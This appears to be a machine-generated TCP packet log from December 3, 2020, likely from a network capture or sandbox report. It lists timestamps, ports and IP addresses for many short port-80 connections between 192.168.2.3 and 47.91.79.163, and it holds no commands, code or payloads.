Dec 3, 2020 10:02:53.729486942 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.746068001 CET	80	49789	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.746175051 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.749877930 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.766453028 CET	80	49789	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.766536951 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.782943964 CET	80	49789	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.808731079 CET	80	49789	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.808873892 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.857800961 CET	49789	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.874393940 CET	80	49789	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.093811035 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.112004995 CET	80	49790	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.112097979 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.121372938 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.137962103 CET	80	49790	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.138052940 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.154500008 CET	80	49790	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.179342031 CET	80	49790	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.179435968 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.179471016 CET	49790	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.196448088 CET	80	49790	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.387479067 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.404027939 CET	80	49791	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.404135942 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.407059908 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.423573017 CET	80	49791	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.423680067 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.440195084 CET	80	49791	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.467418909 CET	80	49791	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.467541933 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.467617035 CET	49791	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.484137058 CET	80	49791	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.664905071 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:54.681519985 CET	80	49792	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:54.681643009 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.055545092 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.072356939 CET	80	49792	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.072428942 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.088999987 CET	80	49792	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.114170074 CET	80	49792	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.114645004 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.114692926 CET	49792	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.131134033 CET	80	49792	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.295136929 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.311733007 CET	80	49793	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.312990904 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.316097975 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.332787037 CET	80	49793	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.332911015 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.349495888 CET	80	49793	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.375067949 CET	80	49793	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.377619028 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.401156902 CET	49793	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.417798042 CET	80	49793	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.758409023 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:55.775156021 CET	80	49794	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:55.775284052 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:56.857682943 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:56.874342918 CET	80	49794	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:56.874429941 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:56.890899897 CET	80	49794	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:56.919630051 CET	80	49794	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:56.919708014 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:56.919760942 CET	49794	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:56.936300039 CET	80	49794	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.144608974 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.161294937 CET	80	49795	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.161415100 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.187963009 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.204622984 CET	80	49795	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.204700947 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.221271038 CET	80	49795	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.247361898 CET	80	49795	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.247451067 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.247484922 CET	49795	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.263998985 CET	80	49795	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.490127087 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.506742001 CET	80	49796	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.506867886 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.510315895 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.526918888 CET	80	49796	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.526989937 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.543637037 CET	80	49796	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.671838045 CET	80	49796	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.671962023 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.672190905 CET	49796	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.688848019 CET	80	49796	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.892750978 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.909466982 CET	80	49797	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.909622908 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.913058996 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.929596901 CET	80	49797	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.931202888 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.947803974 CET	80	49797	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.976095915 CET	80	49797	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:57.976336956 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.976361036 CET	49797	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:57.992880106 CET	80	49797	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.204004049 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.220551014 CET	80	49798	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.220741034 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.226167917 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.242731094 CET	80	49798	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.242902040 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.259378910 CET	80	49798	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.284836054 CET	80	49798	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.284940958 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.284989119 CET	49798	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.301464081 CET	80	49798	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.509228945 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.525860071 CET	80	49799	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.526068926 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.533427000 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.549983025 CET	80	49799	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.553422928 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.569986105 CET	80	49799	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.594890118 CET	80	49799	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.595284939 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.595314980 CET	49799	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.611910105 CET	80	49799	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.797108889 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.813695908 CET	80	49800	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.813865900 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.817428112 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.834062099 CET	80	49800	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.834182978 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.850662947 CET	80	49800	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.876024008 CET	80	49800	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:58.876192093 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.879287004 CET	49800	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:58.895876884 CET	80	49800	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.091768980 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.108346939 CET	80	49801	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.108469009 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.111865997 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.128318071 CET	80	49801	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.128403902 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.144826889 CET	80	49801	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.170835972 CET	80	49801	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.170923948 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.170957088 CET	49801	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.187360048 CET	80	49801	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.361027002 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.377537012 CET	80	49802	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.377702951 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.381632090 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.398263931 CET	80	49802	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.398376942 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.415071011 CET	80	49802	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.445429087 CET	80	49802	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.445651054 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.445715904 CET	49802	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.462196112 CET	80	49802	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.657490015 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.674164057 CET	80	49805	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.674272060 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.677287102 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.693886995 CET	80	49805	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.693955898 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.710552931 CET	80	49805	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.735945940 CET	80	49805	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.736026049 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.736085892 CET	49805	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.753928900 CET	80	49805	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.952037096 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.968650103 CET	80	49806	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.968766928 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.972609997 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:59.989121914 CET	80	49806	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:59.989301920 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.005917072 CET	80	49806	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.035090923 CET	80	49806	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.035187006 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.035247087 CET	49806	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.051763058 CET	80	49806	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.246829033 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.263541937 CET	80	49807	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.265413046 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.268384933 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.285027027 CET	80	49807	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.285536051 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.302155018 CET	80	49807	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.328424931 CET	80	49807	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:00.328532934 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.328586102 CET	49807	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:00.345211983 CET	80	49807	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.583626986 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.600260019 CET	80	49808	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.600339890 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.603998899 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.620465040 CET	80	49808	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.621512890 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.637979984 CET	80	49808	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.806380033 CET	80	49808	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.806479931 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.806533098 CET	49808	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:01.823085070 CET	80	49808	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:01.990756989 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.007270098 CET	80	49809	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.007371902 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.010652065 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.027124882 CET	80	49809	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.027199030 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.043606997 CET	80	49809	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.067979097 CET	80	49809	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.068056107 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.068082094 CET	49809	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.084619045 CET	80	49809	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.294065952 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.310686111 CET	80	49810	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.310818911 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.313843012 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.330353975 CET	80	49810	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.331137896 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.347708941 CET	80	49810	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.375623941 CET	80	49810	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.376408100 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.376425982 CET	49810	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.393306017 CET	80	49810	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.593508005 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.610084057 CET	80	49811	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.610198021 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.613555908 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.630141020 CET	80	49811	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.630259037 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.646816969 CET	80	49811	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.672327995 CET	80	49811	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.672431946 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.672477007 CET	49811	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.689095020 CET	80	49811	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.867547989 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.884318113 CET	80	49812	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.884471893 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.888199091 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.904877901 CET	80	49812	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.904993057 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.921618938 CET	80	49812	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.951844931 CET	80	49812	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:02.952006102 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.952079058 CET	49812	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:02.968698978 CET	80	49812	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.138225079 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.154889107 CET	80	49813	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.155170918 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.157768011 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.174365044 CET	80	49813	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.175729990 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.192285061 CET	80	49813	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.217158079 CET	80	49813	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.217688084 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.217734098 CET	49813	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.234321117 CET	80	49813	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.482511997 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.499197960 CET	80	49814	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.499326944 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.503053904 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.519588947 CET	80	49814	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.519722939 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.536253929 CET	80	49814	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.562712908 CET	80	49814	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.563023090 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.563075066 CET	49814	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.579591990 CET	80	49814	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.835607052 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.852171898 CET	80	49815	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.852257013 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.856348038 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.872935057 CET	80	49815	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.873203039 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.889617920 CET	80	49815	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.913266897 CET	80	49815	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:03.913355112 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.913440943 CET	49815	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:03.929776907 CET	80	49815	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.092005968 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.108607054 CET	80	49816	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.108791113 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.112260103 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.128710985 CET	80	49816	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.129261971 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.145736933 CET	80	49816	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.173197985 CET	80	49816	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.173372030 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.173401117 CET	49816	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.189966917 CET	80	49816	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.369559050 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.386390924 CET	80	49817	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.388252020 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.389681101 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.406400919 CET	80	49817	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.408771038 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.425442934 CET	80	49817	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.451117039 CET	80	49817	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.451699972 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.451728106 CET	49817	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.468343973 CET	80	49817	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.883517981 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.900156975 CET	80	49818	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.900544882 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.904412985 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.920996904 CET	80	49818	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.921765089 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.938205957 CET	80	49818	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.964256048 CET	80	49818	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:04.966865063 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.966903925 CET	49818	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:04.983335018 CET	80	49818	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.180023909 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.196536064 CET	80	49819	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.196649075 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.283814907 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.300367117 CET	80	49819	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.300465107 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.316912889 CET	80	49819	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.344181061 CET	80	49819	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.344263077 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.344335079 CET	49819	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.360789061 CET	80	49819	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.565619946 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.582210064 CET	80	49820	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.582329035 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.585961103 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.602447987 CET	80	49820	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.602524042 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.619018078 CET	80	49820	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.649936914 CET	80	49820	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:05.650012016 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.650039911 CET	49820	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:05.666568041 CET	80	49820	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.033031940 CET	49821	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.049666882 CET	80	49821	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.049783945 CET	49821	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.054061890 CET	49821	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.070616961 CET	80	49821	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.070720911 CET	49821	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.087182999 CET	80	49821	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.116899967 CET	80	49821	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.117074966 CET	49821	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.117099047 CET	49821	80	192.168.2.3	47.91.79.163
